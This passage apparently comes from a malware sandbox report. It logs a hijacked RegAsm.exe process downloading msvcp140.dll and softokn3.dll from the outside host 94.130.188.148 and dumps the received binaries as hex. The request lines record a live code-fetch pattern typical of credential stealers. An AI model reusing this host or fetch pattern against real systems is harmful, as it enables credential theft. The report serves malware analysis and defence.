3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-08-30 01:18:11 UTC	16384	IN	Data Raw: ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc Data Ascii: H) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-08-30 01:18:11 UTC	16384	IN	Data Raw: 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4
2024-08-30 01:18:11 UTC	16384	IN	Data Raw: 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$
2024-08-30 01:18:11 UTC	16384	IN	Data Raw: fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-08-30 01:18:12 UTC	16384	IN	Data Raw: 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49789	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:13 UTC	226	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:13 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:13 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Friday, 30-Aug-2024 01:18:13 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-30 01:18:13 UTC	16124	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-08-30 01:18:13 UTC	16384	IN	Data Raw: 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 Data Ascii: -bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr
2024-08-30 01:18:13 UTC	16384	IN	Data Raw: 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-08-30 01:18:13 UTC	16384	IN	Data Raw: 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]E
2024-08-30 01:18:13 UTC	16384	IN	Data Raw: 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 Data Ascii: atAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-08-30 01:18:13 UTC	16384	IN	Data Raw: 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 Data Ascii: AUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSW
2024-08-30 01:18:13 UTC	16384	IN	Data Raw: 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 Data Ascii: E_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ
2024-08-30 01:18:13 UTC	16384	IN	Data Raw: 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s
2024-08-30 01:18:13 UTC	16384	IN	Data Raw: cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|i
2024-08-30 01:18:13 UTC	16384	IN	Data Raw: 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49790	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:14 UTC	226	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:15 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:15 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Friday, 30-Aug-2024 01:18:15 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-30 01:18:15 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-08-30 01:18:15 UTC	16384	IN	Data Raw: 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-08-30 01:18:15 UTC	16384	IN	Data Raw: 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d Data Ascii: EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM
2024-08-30 01:18:15 UTC	16384	IN	Data Raw: 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-08-30 01:18:15 UTC	16384	IN	Data Raw: 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#
